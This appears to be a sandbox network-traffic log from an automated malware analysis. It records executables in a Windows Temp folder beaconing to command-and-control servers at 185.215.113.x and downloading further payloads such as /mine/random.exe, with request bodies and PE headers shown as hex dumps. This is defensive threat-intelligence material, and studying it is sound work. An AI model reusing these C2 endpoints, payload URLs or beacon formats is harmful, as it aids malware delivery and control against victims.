Oct 21, 2024 10:47:53.550411940 CEST	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 35 32 38 37 36 42 36 35 31 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A79B52876B65182D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Oct 21, 2024 10:47:54.459347963 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 21 Oct 2024 08:47:54 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.4	50121	185.215.113.37	80	7060	C:\Users\user\AppData\Local\Temp\1000496001\768041f87c.exe

Timestamp	Bytes transferred	Direction	Data
Oct 21, 2024 10:47:53.792820930 CEST	89	OUT	GET / HTTP/1.1 Host: 185.215.113.37 Connection: Keep-Alive Cache-Control: no-cache
Oct 21, 2024 10:47:54.722373962 CEST	203	IN	HTTP/1.1 200 OK Date: Mon, 21 Oct 2024 08:47:54 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 21, 2024 10:47:54.725383043 CEST	412	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----CBAFCAKEHDHDHIDHDGDH Host: 185.215.113.37 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 43 42 41 46 43 41 4b 45 48 44 48 44 48 49 44 48 44 47 44 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 39 30 30 45 44 45 33 36 37 39 30 31 32 32 36 33 31 38 30 30 32 35 0d 0a 2d 2d 2d 2d 2d 2d 43 42 41 46 43 41 4b 45 48 44 48 44 48 49 44 48 44 47 44 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 6f 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 43 42 41 46 43 41 4b 45 48 44 48 44 48 49 44 48 44 47 44 48 2d 2d 0d 0a Data Ascii: ------CBAFCAKEHDHDHIDHDGDHContent-Disposition: form-data; name="hwid"900EDE3679012263180025------CBAFCAKEHDHDHIDHDGDHContent-Disposition: form-data; name="build"doma------CBAFCAKEHDHDHIDHDGDH--
Oct 21, 2024 10:47:55.022262096 CEST	210	IN	HTTP/1.1 200 OK Date: Mon, 21 Oct 2024 08:47:54 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.4	50123	185.215.113.16	80	3940	C:\Users\user\AppData\Local\Temp\1000491001\48bf814d33.exe

Timestamp	Bytes transferred	Direction	Data
Oct 21, 2024 10:47:54.867407084 CEST	204	OUT	GET /mine/random.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
Oct 21, 2024 10:47:55.796148062 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 21 Oct 2024 08:47:55 GMT Content-Type: application/octet-stream Content-Length: 1908224 Last-Modified: Mon, 21 Oct 2024 08:30:16 GMT Connection: keep-alive ETag: "67161118-1d1e00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 ca 01 00 00 00 00 00 00 b0 4b 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$-ICCC@CFBC6GC6@C6FCGCBCB5CxJCxCxACRichCPELVfK@K@WkKhK @.rsrc@.idata @ *@evwdyikk1@ewgqkdfwK@.taggant0K"@
Oct 21, 2024 10:47:55.796196938 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 21, 2024 10:47:55.796206951 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 21, 2024 10:47:55.796215057 CEST	336	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 21, 2024 10:47:55.796340942 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 21, 2024 10:47:55.796358109 CEST	1236	IN	Data Raw: 33 e7 3e e3 da 23 e2 10 6b a2 a0 04 f2 c7 2a 12 94 53 16 12 df 9d 70 e4 f1 27 56 60 7d f3 69 cb 26 96 46 fe f1 5c 83 e2 f2 4a 70 c0 70 b7 a0 37 f1 43 39 0b 38 97 a0 c3 21 c8 84 df e4 d9 e3 b1 ae 9b 42 84 24 47 6d 00 fc cb be b2 22 93 a2 01 78 f3 Data Ascii: 3>#k*Sp'V`}i&F\Jpp7C98!B$Gm"x?)o:{irX@CHPyVLm7"!wcVzb"rv=".7{K<xs>bo:rxdCnR 2<S{;yQ(>N
Oct 21, 2024 10:47:55.796366930 CEST	1236	IN	Data Raw: b6 7f 7e a1 f2 c7 78 a2 82 5b 68 86 cb 9a c5 a8 f8 d7 90 e7 f6 16 72 13 57 a8 5b 2e 79 b2 0a 47 ad d0 12 63 13 eb 0d 40 2b 3f 9c ef 40 6f 06 33 3c 7c b3 33 3f 75 49 5f fd 67 49 a3 e0 2c 34 2b 93 a5 71 4d 9a ba 0a d4 d0 7e 24 00 36 cd 62 90 96 8f Data Ascii: ~x[hrW[.yGc@+?@o3<\|3?uI_gI,4+qM~$6b1V@vffbwVpB1EeR#ujys{0wt,<Dvj=c)IA#5u`zK# Vp$tkS_c:6"vewt6
Oct 21, 2024 10:47:55.796377897 CEST	1236	IN	Data Raw: b6 6c 42 ed 69 5f c5 10 01 07 60 dd 72 a0 9e e7 67 e5 14 a5 72 71 20 ff 5a 72 da ac d8 1e 3b ec 1f 03 a5 48 ea 5f 36 9c da e3 cd 07 68 67 95 38 4a 36 33 07 34 5b ab d3 b5 06 4b a5 18 b7 3d 53 39 0a 89 de b0 54 30 d4 15 a0 33 d7 99 d6 74 e7 18 97 Data Ascii: lBi_`rgrq Zr;H_6hg8J634[K=S9T03tsJ"BtL8oACsS+OAjb cf>IT8zrrpysm'uR4,([\?Ws
Oct 21, 2024 10:47:55.796389103 CEST	1236	IN	Data Raw: 38 53 a3 c3 af 5f 33 b0 67 88 f7 c4 b3 a0 1a 72 c4 11 9b 0d 7c e7 d9 af ff 67 32 6d 33 84 09 13 7b ba a7 4b ef 62 7d 13 b0 df 1e fe c2 56 76 f2 32 01 6f 48 f7 86 e2 82 d3 b1 3e 64 d2 90 f6 0c 4e ef 44 c0 21 32 85 de eb 96 63 07 cb 1d a6 95 15 51 Data Ascii: 8S_3gr\|g2m3{Kb}Vv2oH>dND!2cQB6B}_pvRel_?`;Mx?1Zf=n2]\|f~\_LLwbo$$Vy]G)UUBKsj4Kc(CCR6
Oct 21, 2024 10:47:55.796397924 CEST	1236	IN	Data Raw: c7 73 3e 24 be 27 2c 90 9b 28 4c a6 ea 45 48 9c b5 a1 72 bf e9 5e 6f a1 dc a2 61 f7 21 5e ae 72 b2 86 5b 66 c1 7b ae 37 10 72 44 9c b4 8b 74 48 da 94 5e 62 75 fc 15 dc 74 ca 39 88 8d 92 7f 68 43 5e 92 57 83 65 0b 89 f6 ef cd ae f2 2f f7 cf 59 a4 Data Ascii: s>$',(LEHr^oa!^r[f{7rDtH^but9hC^We/Y718!.-J6>&?z`URMHGCD0-;IM/;u\|n:SWbu\*Iv%NCPbmK8Vn8\Ao^!Z<n+_h-1
Oct 21, 2024 10:47:55.818567038 CEST	1236	IN	Data Raw: 49 fd 38 ff ea 83 dd 99 5b 83 c1 04 cc e1 cb 53 3b 5f f0 ac 1c 9c 3f 0c b8 66 fd bb 06 93 37 ef c3 fa ae d7 d4 08 66 03 7f 4b f5 e8 66 85 ef 2f 94 ee 0d d2 80 8b 2d fb 24 78 a5 e3 91 87 dc e3 1d 7b 83 51 bd 36 f4 d3 00 b2 fa 10 c2 0c ae 13 1f a3 Data Ascii: I8[S;_?f7fKf/-$x{Q6V>.[oq"%f.[qRsISDnkz4m8z`id8=X==\|/dop4nOCm~f)\t4g6dJjb/~ke(= Zgk*@L
Oct 21, 2024 10:47:57.352232933 CEST	205	OUT	GET /steam/random.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
Oct 21, 2024 10:47:57.732825041 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 21 Oct 2024 08:47:57 GMT Content-Type: application/octet-stream Content-Length: 1887232 Last-Modified: Mon, 21 Oct 2024 08:30:09 GMT Connection: keep-alive ETag: "67161111-1ccc00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 bd cf 9d 43 f9 ae f3 10 f9 ae f3 10 f9 ae f3 10 96 d8 58 10 e1 ae f3 10 96 d8 6d 10 f4 ae f3 10 96 d8 59 10 c0 ae f3 10 f0 d6 70 10 fa ae f3 10 79 d7 f2 11 fb ae f3 10 f0 d6 60 10 fe ae f3 10 f9 ae f2 10 97 ae f3 10 96 d8 5c 10 eb ae f3 10 96 d8 6e 10 f8 ae f3 10 52 69 63 68 f9 ae f3 10 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 4a 9a f9 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 ce 01 00 00 1a 24 00 00 00 00 00 00 30 6b 00 00 10 00 00 00 e0 01 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 60 6b 00 00 04 00 00 b3 f6 1c 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$CXmYpy`\nRichPELJf$0k@`k@P%d% %(@.rsrc %8@.idata %8@ *%:@yuntpzropPj<@dfroebje k@.taggant00k"@
Oct 21, 2024 10:48:00.348570108 CEST	204	OUT	GET /well/random.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
Oct 21, 2024 10:48:00.671953917 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 21 Oct 2024 08:48:00 GMT Content-Type: application/octet-stream Content-Length: 922624 Last-Modified: Mon, 21 Oct 2024 07:51:53 GMT Connection: keep-alive ETag: "67160819-e1400" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 9a c7 83 ae de a6 ed fd de a6 ed fd de a6 ed fd 6a 3a 1c fd fd a6 ed fd 6a 3a 1e fd 43 a6 ed fd 6a 3a 1f fd fd a6 ed fd 40 06 2a fd df a6 ed fd 8c ce e8 fc f3 a6 ed fd 8c ce e9 fc cc a6 ed fd 8c ce ee fc cb a6 ed fd d7 de 6e fd d7 a6 ed fd d7 de 7e fd fb a6 ed fd de a6 ec fd f7 a4 ed fd 7b cf e3 fc 8e a6 ed fd 7b cf ee fc df a6 ed fd 7b cf 12 fd df a6 ed fd de a6 7a fd df a6 ed fd 7b cf ef fc df a6 ed fd 52 69 63 68 de a6 ed fd 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 10 08 16 67 00 00 00 00 00 00 00 00 e0 00 22 01 0b 01 0e 10 00 ac 09 00 00 64 04 00 00 00 00 00 77 05 02 00 00 10 00 00 00 c0 [TRUNCATED] Data Ascii: MZ@ !L!This program cannot be run in DOS mode.$j:j:Cj:@*n~{{{z{RichPELg"dw@pkD@@@d\|@u4@.text `.rdata@@.datalpH@.rsrc@@@.relocuv@B

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.4	50125	185.215.113.43	80	2692	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 21, 2024 10:47:56.155824900 CEST	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 21, 2024 10:47:57.049284935 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 21 Oct 2024 08:47:56 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.4	50126	185.215.113.16	80	6316	C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe

Timestamp	Bytes transferred	Direction	Data
Oct 21, 2024 10:47:57.772203922 CEST	204	OUT	GET /mine/random.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
Oct 21, 2024 10:47:58.633819103 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 21 Oct 2024 08:47:58 GMT Content-Type: application/octet-stream Content-Length: 1908224 Last-Modified: Mon, 21 Oct 2024 08:30:16 GMT Connection: keep-alive ETag: "67161118-1d1e00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 ca 01 00 00 00 00 00 00 b0 4b 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$-ICCC@CFBC6GC6@C6FCGCBCB5CxJCxCxACRichCPELVfK@K@WkKhK @.rsrc@.idata @ *@evwdyikk1@ewgqkdfwK@.taggant0K"@
Oct 21, 2024 10:47:58.633835077 CEST	112	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 21, 2024 10:47:58.633853912 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 21, 2024 10:47:58.633863926 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 21, 2024 10:47:58.633873940 CEST	424	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 21, 2024 10:47:58.633882999 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: j#DjK85]8!~"~dz#5~c!h!uvk@gV })9j>(n2[>`jV%\{2B?
Oct 21, 2024 10:47:58.633896112 CEST	1236	IN	Data Raw: 3a 7f 92 af 12 dc e2 b0 72 87 0f 78 64 43 6e a7 0e fe 9a eb 52 f3 9f 20 32 f7 3c 53 fa 7b 3b 79 c4 86 ae 51 19 28 3e cf 4e 96 de fd f4 7c 6d 83 fa 08 e1 8a 02 99 56 6b 21 e7 54 e3 dd ff fe aa 22 ce 6e eb ee b3 4f 24 7e b9 8e 12 b4 d6 9e cb ea 7f Data Ascii: :rxdCnR 2<S{;yQ(>N\|mVk!T"nO$~2O3]bdc)1By>W{syh{mCHBMNr([in`Tnozj\|=3Mc7=73O~#l`o8~S.W\I
Oct 21, 2024 10:47:58.633912086 CEST	24	IN	Data Raw: 74 c6 ed 8e 6b c7 53 eb 97 eb b9 ec eb 5f 08 63 bc 96 b4 f0 3a 36 07 a3 Data Ascii: tkS_c:6
Oct 21, 2024 10:47:58.633920908 CEST	1236	IN	Data Raw: e1 22 76 0d eb fe ca e4 de 16 65 f0 b2 94 77 bb 74 d5 36 cf a3 89 22 e1 fa 34 e2 ba c0 8b f6 ce 71 fc 9d 89 a2 73 d9 a5 4e 5f 50 61 8b df e4 6a c0 d8 07 76 ae 87 74 f0 2d e7 0a 47 c3 88 76 01 4e bf 18 40 c4 79 9e 87 96 f2 55 77 fd eb e6 0e ec f8 Data Ascii: "vewt6"4qsN_Pajvt-GvN@yUw4#Co'S[f%sXvoZjGG;p*>\Eu>=JbiuN [Ul&G[Xu']BCh!Rv'9
Oct 21, 2024 10:47:58.633929968 CEST	212	IN	Data Raw: 5b f2 e5 dc c9 d1 b6 04 5c bf 0e 3f cd 9c 57 1e fe 73 03 e7 52 be 06 16 eb 2d f0 ea 03 96 94 d4 77 75 3a df 0e e1 60 56 ee cf e6 45 37 35 1a cf 05 df fd de d5 c3 90 b6 19 a3 9e 02 a9 6c f3 ac 0c 17 10 74 a5 fd 32 23 dd b6 1d c1 92 23 90 00 37 83 Data Ascii: [\?WsR-wu:`VE75lt2##7goW>bjOcv3iRlwmvc_[qnlWPz)0Gl9XGtFd4y"Gl#~Pv
Oct 21, 2024 10:47:58.638993025 CEST	1236	IN	Data Raw: 0e f4 c2 42 75 cc bd 22 38 b2 e9 ec 5a 26 57 18 c6 d9 8c ec b7 3c 62 03 8a 78 d9 93 03 85 47 7c ac 0d 5e 70 48 79 91 ad 75 93 93 ff fe 81 0f 5d ad d7 91 c9 40 b4 8a cf 91 8c 6e f1 66 a0 79 e9 cd cf 02 d9 f6 9a 58 b1 bc 8c 3f c8 ef 82 a3 73 27 0a Data Ascii: Bu"8Z&W<bxG\|^pHyu]@nfyX?s'bvo{J5tH<8?F-TWqj*\|0pF(0.)AA[%!rCYEoiX{zsKqX(?]v3^$bp5Fe
Oct 21, 2024 10:48:01.082016945 CEST	205	OUT	GET /steam/random.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
Oct 21, 2024 10:48:01.360200882 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 21 Oct 2024 08:48:01 GMT Content-Type: application/octet-stream Content-Length: 1887232 Last-Modified: Mon, 21 Oct 2024 08:30:09 GMT Connection: keep-alive ETag: "67161111-1ccc00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 bd cf 9d 43 f9 ae f3 10 f9 ae f3 10 f9 ae f3 10 96 d8 58 10 e1 ae f3 10 96 d8 6d 10 f4 ae f3 10 96 d8 59 10 c0 ae f3 10 f0 d6 70 10 fa ae f3 10 79 d7 f2 11 fb ae f3 10 f0 d6 60 10 fe ae f3 10 f9 ae f2 10 97 ae f3 10 96 d8 5c 10 eb ae f3 10 96 d8 6e 10 f8 ae f3 10 52 69 63 68 f9 ae f3 10 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 4a 9a f9 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 ce 01 00 00 1a 24 00 00 00 00 00 00 30 6b 00 00 10 00 00 00 e0 01 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 60 6b 00 00 04 00 00 b3 f6 1c 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$CXmYpy`\nRichPELJf$0k@`k@P%d% %(@.rsrc %8@.idata %8@ *%:@yuntpzropPj<@dfroebje k@.taggant00k"@

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.4	50128	185.215.113.43	80	2692	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 21, 2024 10:47:59.385759115 CEST	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 35 32 38 37 36 42 36 35 31 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A79B52876B65182D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Oct 21, 2024 10:48:00.200184107 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 21 Oct 2024 08:48:00 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.4	50129	185.215.113.37	80	1208	C:\Users\user\AppData\Local\Temp\1000494001\572c19a989.exe

Timestamp	Bytes transferred	Direction	Data
